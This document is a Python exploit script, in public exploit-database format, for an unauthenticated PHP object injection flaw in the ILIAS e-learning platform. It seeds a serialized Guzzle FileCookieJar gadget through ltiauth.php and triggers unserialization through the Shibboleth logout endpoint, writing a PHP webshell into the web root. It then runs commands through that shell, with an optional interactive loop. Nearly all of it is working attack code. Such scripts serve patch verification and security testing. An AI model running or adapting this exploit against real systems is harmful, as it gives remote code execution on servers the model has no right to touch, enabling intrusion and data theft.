#!/usr/bin/env python3
#
# Exploit Title: ILIAS <= 9.21 / 10.9 / 11.2 - Unauthenticated PHP Object Injection (RCE)
# Date: 2026-08-31
# Exploit Author: DigiProSec
# Vendor Homepage: https://www.ilias.de
# Software Link: https://github.com/ILIAS-eLearning/ILIAS
# Version: ILIAS < 9.22, 10.0 < 10.10, 11.0 < 11.3 (fixed in 9.22 / 10.10 / 11.3)
# Tested on: Rocky Linux 9, Apache + PHP-FPM 8.2, ILIAS 10.9 (MariaDB 10.11 backend)
# CVE: CVE-2026-80428
#
# CVE-2026-80428 — Unauthenticated PHP Object Injection via Shibboleth
# Injection via Shibboleth back-channel logout endpoint (RCE as web server user)
#
# Chain:
# 1. ltiauth.php (auth-exempt LTI entry point) stores the entire request
# parameter array into the session table (ilSession::set on
# 'lti13_login_data'). A "\w+|" marker inside a parameter value breaks the
# custom session parser, so our raw serialized object is handed to
# unserialize() as if it were a session value.
# 2. shib_logout.php (auth-exempt Shibboleth back-channel) — a POST with any
# non-empty body starts a SoapServer whose LogoutNotification() handler
# unserializes EVERY live session row with no class allowlist.
# 3. Gadget: GuzzleHttp\Cookie\FileCookieJar (bundled in ILIAS's vendor tree).
# __destruct() -> save($this->filename) -> file_put_contents($filename,
# json_encode($cookies)). Attacker-chosen path + JSON-embedded PHP = webshell.
#
# Tested: ILIAS 10.9 on Rocky Linux 9 (Apache + PHP-FPM 8.2, MariaDB backend).
# Notes: - v11.x ships a broken shib_logout.php variant (null $DIC) and does
# not reach the vulnerable code as packaged; v9/v10 are exploitable.
# - The target's docroot disk path is needed for the file write
# (--path). Defaults to the standard /var/www/ilias/public.
# - If ILIAS was configured with a fixed http path, requests must carry
# that hostname (--host-header).
#
# Usage: python3 CVE-2026-80428.py <target-ip-or-host> [--cmd 'id']
# python3 CVE-2026-80428.py 10.10.10.20 --host-header lms.example --shell
#
import argparse, http.client, re, secrets, ssl, sys, urllib.parse
def s(x):
b = x.encode() if isinstance(x, str) else x
return b's:' + str(len(b)).encode() + b':"' + b + b'";'
def filecookiejar(path: str) -> bytes:
php = b'<?php system($_GET[chr(120)]); ?>' # PHP8: bareword index fatals; chr() avoids quotes
data = (s('Name') + s('util') + s('Value') + s(php) + s('Domain') + s('ilias')
+ s('Path') + s('/') + s('Max-Age') + b'N;' + s('Expires') + b'i:1999999999;'
+ s('Secure') + b'b:0;' + s('Discard') + b'b:0;' + s('HttpOnly') + b'b:0;')
setcookie = (b'O:27:"GuzzleHttp\\Cookie\\SetCookie":1:{'
+ s('\x00GuzzleHttp\\Cookie\\SetCookie\x00data') + b'a:9:{' + data + b'}}')
return (b'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:{'
+ s('\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies') + b'a:1:{i:0;' + setcookie + b'}'
+ s('\x00GuzzleHttp\\Cookie\\CookieJar\x00strictMode') + b'b:0;'
+ s('\x00GuzzleHttp\\Cookie\\FileCookieJar\x00filename') + s(path)
+ s('\x00GuzzleHttp\\Cookie\\FileCookieJar\x00storeSessionCookies') + b'b:1;}')
SOAP = (b'<?xml version="1.0" encoding="UTF-8"?>\n<SOAP-ENV:Envelope xmlns:SOAP-ENV='
b'"http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="urn:mace:shibboleth:2.0:sp:notify">'
b'<SOAP-ENV:Body><ns1:LogoutNotification><SessionID>x</SessionID>'
b'</ns1:LogoutNotification></SOAP-ENV:Body></SOAP-ENV:Envelope>')
class Target:
def __init__(self, host, port, host_header):
self.host, self.port = host, port
self.hh = host_header or host
self.ctx = ssl._create_unverified_context()
def req(self, method, path, body=None, ctype=None):
conn = (http.client.HTTPSConnection if self.port == 443 else http.client.HTTPConnection)(
self.host, self.port, context=self.ctx if self.port == 443 else None, timeout=30)
h = {"Host": self.hh}
if ctype: h["Content-Type"] = ctype
conn.request(method, path, body=body, headers=h)
r = conn.getresponse(); d = r.read(); conn.close()
return r.status, d
def main():
ap = argparse.ArgumentParser(description="CVE-2026-80428 - ILIAS unauthenticated PHP object injection RCE")
ap.add_argument("target")
ap.add_argument("--port", type=int, default=443)
ap.add_argument("--host-header", default=None, help="vhost/ILIAS client hostname if required")
ap.add_argument("--path", default="/var/www/ilias/public",
help="ILIAS docroot on disk (v10/11: .../public; v9: repo root)")
ap.add_argument("--cmd", default="id")
ap.add_argument("--shell", action="store_true", help="interactive command loop")
a = ap.parse_args()
t = Target(a.target, a.port, a.host_header)
shell = f"util_{secrets.token_hex(3)}.php"
disk = f"{a.path.rstrip('/')}/{shell}"
print(f"[*] seeding session via ltiauth.php (writes {disk})")
body = (b"lti_message_hint=1%3A2&inj=" +
urllib.parse.quote_from_bytes(b"junk|" + filecookiejar(disk)).encode())
st, _ = t.req("POST", "/ltiauth.php", body, "application/x-www-form-urlencoded")
if st not in (200, 302):
print(f"[-] ltiauth.php returned {st} — is this ILIAS with the LTI entry point exposed?")
sys.exit(1)
print("[*] triggering unserialize via shib_logout.php (SOAP LogoutNotification)")
st, d = t.req("POST", "/shib_logout.php", SOAP, "text/xml")
if b"LogoutNotificationResponse" not in d and b"<OK/>" not in d:
print(f"[-] trigger response looks wrong (HTTP {st}): {d[:160]!r}")
sys.exit(1)
def run(cmd):
st, d = t.req("GET", f"/{shell}?x=" + urllib.parse.quote(cmd))
m = re.search(rb'"Value":"(.*?)","Domain"', d, re.S)
return (m.group(1) if m else d).decode(errors="replace").strip()
out = run(a.cmd)
if not out:
print("[-] webshell did not respond — wrong --path / docroot not writable by web user?")
sys.exit(1)
print(f"[+] webshell live: {'https' if a.port==443 else 'http'}://{a.target}:{a.port}/{shell}?x=<cmd>")
print(f"[+] {a.cmd}: {out}")
if a.shell:
print("[*] interactive loop — 'exit' quits")
while True:
try: cmd = input("ilias$ ").strip()
except (EOFError, KeyboardInterrupt): break
if cmd in ("exit", "quit"): break
if cmd: print(run(cmd))
if __name__ == "__main__":
main()